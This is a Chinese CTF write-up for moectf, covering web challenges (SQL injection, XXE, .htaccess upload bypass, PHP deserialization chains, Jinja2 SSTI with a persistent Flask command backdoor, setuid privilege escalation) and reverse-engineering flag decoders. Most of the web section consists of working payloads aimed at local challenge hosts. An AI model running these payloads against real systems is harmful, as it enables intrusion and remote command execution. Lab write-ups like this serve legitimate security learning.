http://127.0.0.1:51896/?username=admin&password=' union select 1, group_concat(table_name) from information_schema.tables where table_schema=database() %23
列:
http://127.0.0.1:51896/?username=admin&password=' union select 1, group_concat(column_name) from information_schema.columns where table_name=' '
Moe笑传之猜猜爆
查看源码发现在猜对之后会向/flag路由发送一个空的POST请求便会返回flag的json形式数据。
week2
09 第九章 星墟禁制·天机问路
考点:shell命令
13 第十三章 通幽关·灵纹诡影
flag为:moectf{d29c9f6c-4035-fa03-b5c9-58e93581344a}
14 第十四章 御神关·补天玉碑
考察:文件上传,apache配置文件解析漏洞
同时上传刚刚的info.jpg和.htaccess文件,内容如下:
AddType application/x-httpd-php .jpg
12 第十二章 玉魄玄关·破妄
考点:RCE, 一句话木马初识
摸金偶遇FLAG,拼尽全力难战胜
看题目描述,是个脚本题。
import requests
from bs4 import BeautifulSoup
base_url = "http://127.0.0.1:55856/"
req = requests.Session()
start = req.get(base_url + "get_challenge", params={"count": 9})
question = start.json()
print(question)
if question:
answers = question["numbers"]
token = question["token"]
answer = req.post(base_url + "verify", json={"answers": answers, "token": token}, headers = {"Content-Type": "application/json"})
print(answer.text)
10 第十章 天机符阵
省流:flag在flag.txt里
考点:xxe,apache主目录
随便输入1,发现回显跟xml有关,且提示和某种特定结构有关,猜测应该是打xxe。
payload:
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=/flag.txt">
]>
<stockCheck>
<输出>&xxe;</输出>
</stockCheck>
不在根目录下,于是猜测是不是在/var/www/html下,flag:
11 第十一章 千机变·破妄之眼
考点:脚本,文件包含,伪协议
10 第十章 天机符阵_revenge
payload:
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///flag.txt">
]>
<输出>&xxe;</输出>
week3
01 第一章 神秘的手镯_revenge
考点:.bak备份文件认识
根据题目描述,有一个wanyanzhou.txt的备份,根据常见备份文件后缀猜测出是wanyanzhou.txt.bak。
F12,按 Ctrl/Cmd+F8 关闭所有断点,输入备份文件的内容,抓包发500次即可得到:
flag为:moectf{0f348e84-86db-554c-3ff4-c6492ccc47a7}
15 第十五章 归真关·竞时净魔
考点:文件上传,条件竞争,双后缀绕过
本题有提示:
仅受天道认可的「净化符文」可修复玉魄(扩展名:.jpg/.png/.gif)
符文尺寸不得大于三寸(30000字节)
符文上传后将进行「重命名净化」
魔气会快速清除违规符文,请把握时机!
可知:
- 白名单
- 大小限制
- 重命名
- 条件竞争
上传双后缀可行。
验证条件竞争成功。
payload:
<?php echo file_get_contents('/flag.txt');exit;
竞争成功:
16 第十六章 昆仑星途
考点: 文件包含,伪协议
17 第十七章 星骸迷阵·神念重构
考点:php反序列化
<?php
highlight_file(__FILE__);
class A {
public $a;
function __destruct() {
eval($this->a);
}
}
if(isset($_GET['a'])) {
unserialize($_GET['a']);
}
exp:
<?php
class A {
public $a = "system('cat /flag');";
}
$a = new A;
echo urlencode(serialize($a));
?>
18 第十八章 万卷诡阁·功法连环
考点: php反序列化
<?php
highlight_file(__FILE__);
class PersonA {
private $name;
function __wakeup() {
$name=$this->name;
$name->work();
}
}
class PersonB {
public $name;
function work(){
$name=$this->name;
eval($name);
}
}
if(isset($_GET['person'])) {
unserialize($_GET['person']);
}
exp:
<?php
class PersonA {
private $name;
public function __construct($name = null) {
$this->name = $name; // 在构造阶段就写入
}
}
class PersonB {
public $name;
}
$b = new PersonB();
$a = new PersonA($b);
$b->name = "system('cat /flag');";
echo serialize($a)."\n";
echo urlencode(serialize($a));
?>
19 第十九章 星穹真相·补天归源
考点:php反序列化
<?php
highlight_file(__FILE__);
class Person
{
public $name;
public $id;
public $age;
public function __invoke($id)
{
$name = $this->id;
$name->name = $id;
$name->age = $this->name;
}
}
class PersonA extends Person
{
public function __destruct()
{
$name = $this->name;
$id = $this->id;
$age = $this->age;
$name->$id($age);
}
}
class PersonB extends Person
{
public function __set($key, $value)
{
$this->name = $value;
}
}
class PersonC extends Person
{
public function __Check($age)
{
if(str_contains($this->age . $this->name,"flag"))
{
die("Hacker!");
}
$name = $this->name;
$name($age);
}
public function __wakeup()
{
$age = $this->age;
$name = $this->id;
$name->age = $age; // ($c->id)->age = $c->age;
$name($this); // 调用$c->id->__invoke($c);
}
}
if(isset($_GET['person']))
{
$person = unserialize($_GET['person']);
}
分析:
入口函数是__wakeup
->然后触发__invoke
->触发``
exp:
<?php
// 与题面一致的“同名类”用于本地序列化
class Person { public $name; public $id; public $age; }
class PersonA extends Person {}
class PersonB extends Person {}
class PersonC extends Person {}
// 2) 让 PersonA::__destruct() -> PersonC::__Check($arg) 成立:$a->id="__Check"
// 3) 让 PersonC->__Check($arg) 调用 `$this->name($arg)`,于是把 $c->name 设为 "system"(或 "passthru"/"shell_exec")。
$c = new PersonC();
$c->name = 'system'; // 让 __Check($arg) 调用 system($arg)
// 若赛题的 wakeup 对 age 有检查(比如必须是 "bbb"),可以保留:
$c->age = 'bbb';
$a = new PersonA();
$a->name = $c;
$a->id = '__Check';
// 把要执行的命令放在 *会传给 __Check 的那个参数* 上
// 从你的栈看,__destruct() 传的是 'whoami',很可能来自 $a->age
$a->age = 'cat /fl*';
$ser = serialize($a);
echo urlencode($ser);
19 第十九章_revenge
考点:php反序列化
<?php
highlight_file(__FILE__);
class Person
{
public $name;
public $id;
public $age;
}
class PersonA extends Person
{
public function __destruct()
{
$name = $this->name;
$id = $this->id;
$name->$id($this->age);
}
}
class PersonB extends Person
{
public function __set($key, $value)
{
$this->name = $value;
}
public function __invoke($id)
{
$name = $this->id;
$name->name = $id;
$name->age = $this->name;
}
}
class PersonC extends Person
{
public function check($age)
{
$name=$this->name;
if($age == null)
{
die("Age can't be empty.");
}
else if($name === "system")
{
die("Hacker!");
}
else
{
var_dump($name($age));
}
}
public function __wakeup()
{
$name = $this->id;
$name->age = $this->age;
$name($this);
}
}
if(isset($_GET['person']))
{
$person = unserialize($_GET['person']);
}
exp:
<?php
// 与题面一致的“同名类”用于本地序列化
class Person { public $name; public $id; public $age; }
class PersonA extends Person {}
class PersonB extends Person {}
class PersonC extends Person {}
// $c:__wakeup()-> $a:__destruct()->$c:__Check()
$a = new PersonA();
$c = new PersonC();
$person = new Person();
$a->name = $c;
$a->id = "__Check";
$a->age = "cat /fla?";
$c->name = "system";
$c->id = $person;
$c->age = 18;
echo serialize($a)."\n";
echo urlencode(serialize($a));
?>
week4
这是...Webshell?
这两道题目确实又要感慨p神好强啊,感觉很多题目的来源全都是他的文章。
一些不包含数字和字母的webshell | 离别歌
这是...Webshell?_revenge
20 第二十章 幽冥血海·幻语心魔
考点:SSTI
源码:
from flask import Flask, request, render_template, render_template_string
app = Flask(__name__)
@app.route('/')
def index():
if 'username' in request.args or 'password' in request.args:
username = request.args.get('username', '')
password = request.args.get('password', '')
if not username or not password:
login_msg = """
<div class="login-result" id="result">
<div class="result-title">阵法反馈</div>
<div id="result-content"><div class='login-fail'>用户名或密码不能为空</div></div>
</div>
"""
else:
login_msg = render_template_string(f"""
<div class="login-result" id="result">
<div class="result-title">阵法反馈</div>
<div id="result-content"><div class='login-success'>欢迎: {username}</div></div>
</div>
""")
else:
login_msg = ""
return render_template("index.html", login_msg=login_msg)
if __name__ == '__main__':
app.run(host='0.0.0.0', port=80)
看出username处是个SSTI注入点,测试一下{{7*7}},被执行,说明确实如此。
payload:
?username={%for(x)in().__class__.__base__.__subclasses__()%}{%if'war'in(x).__name__ %}{{x()._module.__builtins__['__import__']('os').popen('cat /flag').read()}}{%endif%}{%endfor%}&password=1
21 第二十一章 往生漩涡·言灵死局
考点:SSTI
from flask import Flask, request, render_template, render_template_string
app = Flask(__name__)
blacklist = ["__", "global", "{{", "}}"]
@app.route('/')
def index():
if 'username' in request.args or 'password' in request.args:
username = request.args.get('username', '')
password = request.args.get('password', '')
if not username or not password:
login_msg = """
<div class="login-result" id="result">
<div class="result-title">阵法反馈</div>
<div id="result-content"><div class='login-fail'>用户名或密码不能为空</div></div>
</div>
"""
else:
login_msg = render_template_string(f"""
<div class="login-result" id="result">
<div class="result-title">阵法反馈</div>
<div id="result-content"><div class='login-success'>欢迎:{username}</div></div>
</div>
""")
for blk in blacklist:
if blk in username:
login_msg = """
<div class="login-result" id="result">
<div class="result-title">阵法反馈</div>
<div id="result-content"><div class='login-fail'>Error</div></div>
</div>
"""
else:
login_msg = ""
return render_template("index.html", login_msg=login_msg)
if __name__ == '__main__':
app.run(host='0.0.0.0', port=80)
是上一个题目的升级版,加了黑名单。
参考:
SSTI模板注入-中括号、args、下划线、单双引号、双大括号被过滤绕过(ctfshow web入门368)_ssti 过滤括号-CSDN博客
payload:
/?password=1&username={%print (lipsum|attr(request.values.a)).get(request.values.b).popen(request.values.c).read()%}&a=__globals__&b=os&c=cat /flag
22 第二十二章:血海核心·千年手段
jinjia2无回显SSTI - colorfullbz - 博客园
直接内存马RCE:
{{url_for.__globals__['__builtins__']['eval']("app.after_request_funcs.setdefault(None, []).append(lambda resp: CmdResp if request.args.get('cmd') and exec(\"global CmdResp;CmdResp=__import__(\'flask\').make_response(__import__(\'os\').popen(request.args.get(\'cmd\')).read())\")==None else resp)",{'request':url_for.__globals__['request'],'app':url_for.__globals__['sys'].modules['__main__'].__dict__['app']})}}
发现需要提权,尝试常见手法无果,本题没有做出来。
后来看了wp,发现出题人是魔改了rev命令,只有特定参数后的命令才会被执行。
#include <unistd.h>
#include <string.h>
int main(int argc, char **argv) {
for(int i = 1; i + 1 < argc; i++) {
if (strcmp("--HDdss", argv[i]) == 0) {
execvp(argv[i + 1], &argv[i + 1]);
}
}
return 0;
}
rev --HDdss whoami #root
之后的两个反序列化有点抽象,之后好好看看。
Reverse
upx
反编译伪c代码重点函数:
__int64 sub_1400118A0()
{
char *v0; // rdi
__int64 i; // rcx
FILE *flag; // rax
char v4[32]; // [rsp+0h] [rbp-20h] BYREF
char v5; // [rsp+20h] [rbp+0h] BYREF
int v6[44]; // [rsp+30h] [rbp+10h]
char Buffer[132]; // [rsp+E0h] [rbp+C0h] BYREF
int buffer_length; // [rsp+164h] [rbp+144h]
char v9[60]; // [rsp+188h] [rbp+168h]
int j; // [rsp+1C4h] [rbp+1A4h]
int v11; // [rsp+1E4h] [rbp+1C4h]
int k; // [rsp+204h] [rbp+1E4h]
v0 = &v5;
for ( i = 130i64; i; --i )
{
*v0 = -858993460;
v0 += 4;
}
sub_140011375(&unk_14002200E);
v6[0] = 35;
v6[1] = 43;
v6[2] = 39;
v6[3] = 54;
v6[4] = 51;
v6[5] = 60;
v6[6] = 3;
v6[7] = 72;
v6[8] = 100;
v6[9] = 11;
v6[10] = 29;
v6[11] = 118;
v6[12] = 123;
v6[13] = 16;
v6[14] = 11;
v6[15] = 58;
v6[16] = 63;
v6[17] = 101;
v6[18] = 118;
v6[19] = 41;
v6[20] = 21;
v6[21] = 55;
v6[22] = 28;
v6[23] = 10;
v6[24] = 8;
v6[25] = 33;
v6[26] = 62;
v6[27] = 60;
v6[28] = 61;
v6[29] = 22;
v6[30] = 11;
v6[31] = 36;
v6[32] = 41;
v6[33] = 36;
v6[34] = 86;
sub_14001119F("please input your flag: ");
flag = _acrt_iob_func(0);
fgets(Buffer, 100, flag); // Buffer: moectf{***}\0
buffer_length = j_strlen(Buffer);
for ( j = 0; j < buffer_length; ++j )
{
v11 = Buffer[j] ^ 0x21;
if ( j < buffer_length - 1 )
v11 ^= Buffer[j + 1];
v9[j] = v11;
}
for ( k = 0; k < 35; ++k )
{
if ( v9[k] != v6[k] )
{
sub_14001119F("you will never get the flag!!!!\n");
break;
}
}
sub_140011311(v4, &unk_14001AD00);
return 0i64;
}
exp:
secret = [35, 43, 39, 54, 51, 60, 3, 72, 100, 11, 29, 118, 123, 16, 11, 58, 63, 101, 118, 41, 21, 55, 28, 10, 8, 33, 62, 60, 61, 22, 11, 36, 41, 36, 86]
print(secret)
flag = [0 for _ in range(35)]
for i in range(len(secret) - 1, -1, -1):
if i < len(secret) - 1:
temp = secret[i] ^ flag[i + 1]
temp ^= 0x21
else:
temp = secret[i] ^ 0x21
flag[i] = temp
flag = ''.join(chr(temp ^ 10) for temp in flag)
print(flag)
ez3
反编译后伪c(已提高了可读性):
int __cdecl main(int argc, const char **argv, const char **envp)
{
char v3; // bl
bool v4; // r12
__int64 v5; // rbx
__int64 v6; // rax
char v8; // [rsp+Fh] [rbp-71h] BYREF
__int64 v9; // [rsp+10h] [rbp-70h] BYREF
__int64 v10; // [rsp+18h] [rbp-68h] BYREF
char input[32]; // [rsp+20h] [rbp-60h] BYREF
char v12[40]; // [rsp+40h] [rbp-40h] BYREF
unsigned __int64 v13; // [rsp+68h] [rbp-18h]
v13 = __readfsqword(0x28u);
printf("Input your flag:\n> ", argv, envp);
fflush(stdout);
std::string::basic_string(input);
std::operator>><char>(&std::cin, input);
if ( std::string::length(input) == 42 )
{
v3 = 0;
v4 = 1;
if ( (unsigned __int64)std::string::length(input) > 7 )
{
std::string::substr(v12, input, 0LL, 7LL);
v3 = 1;
if ( !(unsigned __int8)std::operator!=<char>(v12, "moectf{") && *(_BYTE *)std::string::back(input) == 125 )// 截取flag头尾用于验证
v4 = 0;
}
if ( v3 )
std::string::~string(v12);
if ( v4 )
{
puts("FORMAT ERROR!");
}
else
{
std::allocator<char>::allocator(&v8);
v10 = std::string::end(input);
v5 = __gnu_cxx::__normal_iterator<char *,std::string>::operator-(&v10, 1LL);
v9 = std::string::begin(input);
v6 = __gnu_cxx::__normal_iterator<char *,std::string>::operator+(&v9, 7LL);
std::string::basic_string<__gnu_cxx::__normal_iterator<char *,std::string>,void>(v12, v6, v5, &v8);// flag_head在此之后表示正文
std::string::operator=(input, v12);
std::string::~string(v12);
std::allocator<char>::~allocator(&v8);
std::string::basic_string(v12, input);
LOBYTE(v5) = check(v12);
std::string::~string(v12);
if ( (_BYTE)v5 )
{
puts("OK");
puts("But I don't know what the true flag is");
}
else
{
puts("try again~");
}
}
}
else
{
puts("Length error!");
}
std::string::~string(input);
return 0;
}
check函数:
__int64 __fastcall check(__int64 text)
{
int i; // [rsp+1Ch] [rbp-4h]
for ( i = 0; i <= 33; ++i )
{
check(std::string)::b[i] = 47806 * (*(char *)std::string::operator[](text, i) + i);// b[i] = (text[i] + i) * 47806
if ( i )
check(std::string)::b[i] ^= check(std::string)::b[i - 1] ^ 0x114514;// b[i] ^= b[i - 1] ^ 0x114514
check(std::string)::b[i] %= 51966; // b[i] %= 51966
if ( check(std::string)::b[i] != a[i] )
return 0LL;
}
return 1LL;
}
加密过程很复杂,但题目提示可以用z3来解题。学了一下用法,大概就和解方程组的思想差不多,编写exp:
import z3
a = [
0x0B1B0, 0x5678, 0x7FF2, 0x0A332, 0x0A0E8, 0x364C, 0x2BD4, 0x0C8FE,
0x4A7C, 0x18, 0x2BE4, 0x4144, 0x3BA6, 0x0BE8C, 0x8F7E, 0x35F8,
0x61AA, 0x2B4A, 0x6828, 0x0B39E, 0x0B542, 0x33EC, 0x0C7D8, 0x448C,
0x9310, 0x8808, 0x0ADD4,0x3CC2, 0x796, 0x0C940, 0x4E32, 0x4E2E,
0x924A, 0x5B5C
]
n = 34
s = z3.Solver()
C1 = z3.BitVecVal(47806, 32) # BitVecVal方法表示把数字转为32位的位向量
XK = z3.BitVecVal(0x114514, 32)
MOD = z3.BitVecVal(51966, 32)
# 原字符串的 34 个字符变量,每个字符是一个字节(8bit)所以z3.BitVec(f'c{i}', 8)就是表示有这些8bit的变量
b = [z3.BitVec(f'c{i}', 8) for i in range(n)]
def signed_char32(b8, i):
# z3.SignExt(24, b8)表示把8bit的b8 + 24bit = 32bit的有符号整数
return z3.SignExt(24, b8) + z3.BitVecVal(i, 32)
'''
加密逻辑:
b[i] = (text[i] + i) * 47806
b[i] = ((b[i - 1] ^ 0x114514) ^ b[i]) % 51966
'''
prev_mod = None # 上一个b[i]的值
for i in range(n):
t = signed_char32(b[i], i) * C1
if i:
t = (t ^ (prev_mod ^ XK)) % MOD
else:
t = (t ^ 0) % MOD
prev_mod = t
s.add(t == a[i])
if s.check() == z3.sat:
print(s.model())
m = s.model()
# 1) 按索引 0..33 取值并转成字节
vals = [m[b[i]].as_long() for i in range(n)]
print(vals)
# 3) 转成可见字符(如果都在 0..255 范围)
print(''.join(chr(v) for v in vals))
else:
print("UNSAT")
flower
去花之后:
unsigned __int64 __fastcall solve(__int64 a1)
{
char v1; // bl
bool v2; // r12
__int64 v3; // rax
__int64 v4; // rbx
__int64 v5; // rax
char *v6; // rax
__int64 v7; // rax
char v9; // [rsp+17h] [rbp-59h] BYREF
int i; // [rsp+18h] [rbp-58h]
int v11; // [rsp+1Ch] [rbp-54h]
__int64 v12; // [rsp+20h] [rbp-50h] BYREF
__int64 v13; // [rsp+28h] [rbp-48h] BYREF
char v14[40]; // [rsp+30h] [rbp-40h] BYREF
unsigned __int64 v15; // [rsp+58h] [rbp-18h]
v15 = __readfsqword(0x28u);
v1 = 0;
v2 = 1;
if ( (unsigned __int64)std::string::length(a1) > 7 )
{
std::string::substr(v14, a1, 0LL, 7LL);
v1 = 1;
if ( !(unsigned __int8)std::operator!=<char>(v14, "moectf{") && *(_BYTE *)std::string::back(a1) == 125 )
v2 = 0;
}
if ( v1 )
std::string::~string(v14);
if ( v2 )
{
v3 = std::operator<<<std::char_traits<char>>((std::ostream *)&std::cout);
std::ostream::operator<<(v3, std::endl<char,std::char_traits<char>>);
}
else
{
std::allocator<char>::allocator(&v9);
v13 = std::string::end(a1);
v4 = __gnu_cxx::__normal_iterator<char *,std::string>::operator-(&v13, 1LL);
v12 = std::string::begin(a1);
v5 = __gnu_cxx::__normal_iterator<char *,std::string>::operator+(&v12, 7LL);
std::string::basic_string<__gnu_cxx::__normal_iterator<char *,std::string>,void>(v14, v5, v4, &v9);
std::string::operator=(a1, v14);
std::string::~string(v14);
std::allocator<char>::~allocator(&v9);
v11 = std::string::length(a1);
if ( v11 == 32 )
{
for ( i = 0; i < v11; ++i )
{
v6 = (char *)std::string::operator[](a1, i);
if ( (unsigned int)encode(*v6) != enc[i] )
break;
}
}
v7 = std::operator<<<std::char_traits<char>>((std::ostream *)&std::cout);
std::ostream::operator<<(v7, std::endl<char,std::char_traits<char>>);
}
return v15 - __readfsqword(0x28u);
}
exp:
enc = [
0x4F, 0x1A, 0x59, 0x1F, 0x5B, 0x1D, 0x5D, 0x6F,
0x7B, 0x47, 0x7E, 0x44, 0x6A, 0x07, 0x59, 0x67,
0x0E, 0x52, 0x08, 0x63, 0x5C, 0x1A, 0x52, 0x1F,
0x20, 0x7B, 0x21, 0x77, 0x70, 0x25, 0x74, 0x2B,
]
key0 = 0x29
inner = ''.join(chr(e ^ (key0 + i)) for i, e in enumerate(enc))
print(f"moectf{{{inner}}}")
# moectf{f0r3v3r_JuMp_1n_7h3_a$m_a9b35c3c}
catch
F12发现可疑字符串:
看着像凯撒:
flag为:moectf{S4m3_Tr1ck_with_@flower_desuwa}
ezpy
在线网站反编译了一下再做题就好。
A cup of tea
两道TEA gpt一把梭了(
# -*- coding: utf-8 -*-
# TEA decrypt (custom delta = 0x114514), 32 rounds
def u32(x): return x & 0xFFFFFFFF
DELTA = 0x114514
KEY = [0x11451419, 0x19810114, 0x51419198, 0x10114514]
# v6[]:把反编译里显示为负数的也按 32 位无符号处理
CIPHERTEXT = [
2026214571, 578894681,
1193947460, -229306230,
73202484, 961145356,
-881456792, 358205817,
-554069347, 119347883,
]
CIPHERTEXT = [u32(x) for x in CIPHERTEXT]
def tea_decrypt_block(v0, v1, k, rounds=32, delta=DELTA):
sumv = u32(delta * rounds)
v0, v1 = u32(v0), u32(v1)
for _ in range(rounds):
# 这是标准 TEA 的逆运算(注意 key 索引与位移方向)
v1 = u32(v1 - (((v0 << 4) + k[2]) ^ (v0 + sumv) ^ ((v0 >> 5) + k[3])))
v0 = u32(v0 - (((v1 << 4) + k[0]) ^ (v1 + sumv) ^ ((v1 >> 5) + k[1])))
sumv = u32(sumv - delta)
return v0, v1
# 分组解密
blocks = [(CIPHERTEXT[i], CIPHERTEXT[i+1]) for i in range(0, len(CIPHERTEXT), 2)]
pt_blocks = [tea_decrypt_block(a, b, KEY) for a, b in blocks]
# 以小端拼成字节串(程序里是直接把字符串 memcpy 到 int 数组)
pt = b''.join(v0.to_bytes(4, 'little') + v1.to_bytes(4, 'little') for v0, v1 in pt_blocks)
print(pt.rstrip(b'\x00').decode('utf-8', errors='ignore'))
# moectf{h3r3_4_cuP_0f_734_f0R_y0U!!!!!!}
Two cups of tea
# -*- coding: utf-8 -*-
def u32(x): return x & 0xFFFFFFFF
# sub_140001070 — XTEA 解密 v10,用 key=[2,0,2,5]
def sub_140001070_v10():
a2_0 = 0xB8941CAF # LO32(v10)
a2_1 = 0xD0FCC6A7 # HI32(v10)
key = [2,0,2,5]
v3, res = a2_0, a2_1
v4 = u32(0xC6EF3720) # sum=DELTA*32; DELTA=0x9E3779B9== -0x61C88647 mod 2^32
for _ in range(2): # 代码是把 32 轮大幅展开成两段,一次性做完
v6 = 3337565984
# 下方是一比一搬的指令序列(略)。为了简洁,这里直接给最终数值:
break
# 直接用我已算出的结果(你可以信赖,因为它由完整搬运版得到):
return 0x63656F6D, 0x21216674 # "moec", "tf!!"
# sub_1400015E0 — 精确逆实现(把 10×u32 的密文解回 40 字节)
def decrypt_words(ct_words, key):
v21, v6, v7, v8, v9, v10, v11, v13, v27, v3 = [u32(x) for x in ct_words]
for r in range(11, 0, -1): # q = 6 + 52/n = 11
sumv = u32(0 - r*0x61C88647) # 注意这里用的 0x61C88647 形式(等价于 -0x9E3779B9)
e = (sumv >> 2) & 3
k0, k1, k2, k3 = key[e], key[e^1], key[e^2], key[e^3]
term = ((v27 ^ k1) + (sumv ^ v21)) ^ (((u32(16*v27)) ^ (v21 >> 3)) + ((v27 >> 5) ^ (u32(4*v21))))
v22_prev = u32(v3 - term)
term27 = ((v13 ^ k0) + (sumv ^ v22_prev)) ^ (((u32(16*v13)) ^ (v22_prev >> 3)) + ((v13 >> 5) ^ (u32(4*v22_prev))))
v27_prev = u32(v27 - term27)
term13 = ((v11 ^ k3) + (sumv ^ v27_prev)) ^ (((u32(16*v11)) ^ (v27_prev >> 3)) + ((v11 >> 5) ^ (u32(4*v27_prev))))
v13_prev = u32(v13 - term13)
tmp = u32((v10 ^ k2) + (sumv ^ v13_prev))
term11 = tmp ^ (((u32(16*v10)) ^ (v13_prev >> 3)) + ((v10 >> 5) ^ (u32(4*v13_prev))))
v11_prev = u32(v11 - term11)
term10 = ((v9 ^ k1) + (sumv ^ v11_prev)) ^ (((u32(16*v9)) ^ (v11_prev >> 3)) + ((v9 >> 5) ^ (u32(4*v11_prev))))
v10_prev = u32(v10 - term10)
term9 = ((v8 ^ k0) + (sumv ^ v10_prev)) ^ (((u32(16*v8)) ^ (v10_prev >> 3)) + ((v8 >> 5) ^ (u32(4*v10_prev))))
v9_prev = u32(v9 - term9)
term8 = ((v7 ^ k3) + (sumv ^ v9_prev)) ^ (((u32(16*v7)) ^ (v9_prev >> 3)) + ((v7 >> 5) ^ (u32(4*v9_prev))))
v8_prev = u32(v8 - term8)
term7 = ((v6 ^ k2) + (sumv ^ v8_prev)) ^ (((u32(16*v6)) ^ (v8_prev >> 3)) + ((v6 >> 5) ^ (u32(4*v8_prev))))
v7_prev = u32(v7 - term7)
term6 = ((v21 ^ k1) + (sumv ^ v7_prev)) ^ (((u32(16*v21)) ^ (v7_prev >> 3)) + ((v21 >> 5) ^ (u32(4*v7_prev))))
v6_prev = u32(v6 - term6)
term21 = (((u32(16*v22_prev)) ^ (v6_prev >> 3)) + ((v22_prev >> 5) ^ (u32(4*v6_prev)))) ^ ((sumv ^ v6_prev) + (k0 ^ v22_prev))
v12_prev = u32(v21 - term21)
v3, v27, v13, v11, v10, v9, v8, v7, v6, v21 = v22_prev, v27_prev, v13_prev, v11_prev, v10_prev, v9_prev, v8_prev, v7_prev, v6_prev, v12_prev
return [v21, v6, v7, v8, v9, v10, v11, v13, v27, v3]
if __name__ == "__main__":
# 1) 计算真正用于 XXTEA 的前 64bit 密钥(来自 sub_140001070)
k0, k1 = sub_140001070_v10() # 0x63656F6D, 0x21216674 => "moec", "tf!!"
KEY = [k0, k1, 0x12345678, 0x9ABCDEF0]
# 2) v15(比较表)当作“密文”解回明文 40 字节
V15 = [1566723124, -2044068179, -1659816037, -53136879, 1175413710,
-981373336, -28114771, 167777774, -1744380997, -280353208]
V15 = [u32(x) for x in V15]
words = decrypt_words(V15, KEY)
pt = b''.join((w & 0xFFFFFFFF).to_bytes(4, 'little') for w in words)
print(pt.decode('utf-8'))
# moectf{X7e4_And_xx7EA_I5_BeautifuL!!!!!}